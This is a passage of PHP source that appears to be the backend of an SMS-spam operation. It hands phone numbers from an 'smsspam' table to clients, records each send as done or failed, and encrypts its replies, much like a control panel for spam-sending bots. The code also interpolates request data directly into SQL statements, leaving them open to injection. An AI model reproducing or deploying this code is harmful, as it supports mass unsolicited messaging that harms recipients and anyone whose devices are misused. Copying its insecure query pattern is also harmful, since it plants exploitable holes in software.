exec('SET NAMES utf8'); $boo = false; if (preg_match("/sendsms/",$request)){ $arraynumberSend = explode('sendsms',$request); $numberSend = $arraynumberSend[1]; $statement = $connection->prepare("UPDATE smsspam SET status = '2' WHERE number = '$numberSend'"); $statement->execute([$numberSend]); } if (preg_match("/errorsms/",$request)){ $arraynumberError = explode('errorsms',$request); $numberError = $arraynumberError[1]; $statement = $connection->prepare("UPDATE smsspam SET status = '0' WHERE number = '$numberError'"); $statement->execute([$numberError]); } if (preg_match("/getnumber/",$request)){ $connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD); $connection->exec('SET NAMES utf8'); $sql = "SELECT * FROM smsspam"; foreach($connection->query($sql) as $row){ $number = $row['number']; $status = $row['status']; if($status=="0"){ $statement = $connection->prepare("UPDATE smsspam SET status = '1' WHERE number = '$number'"); $statement->execute([$number]); $tag = ""; $otv = encrypt("$number",cryptKey); $tagend = ""; echo "$tag$otv$tagend"; $boo = true; break; } } } if(!$boo){ $tag = ""; $otv = encrypt("close",cryptKey); $tagend = ""; echo "$tag$otv$tagend"; } ?>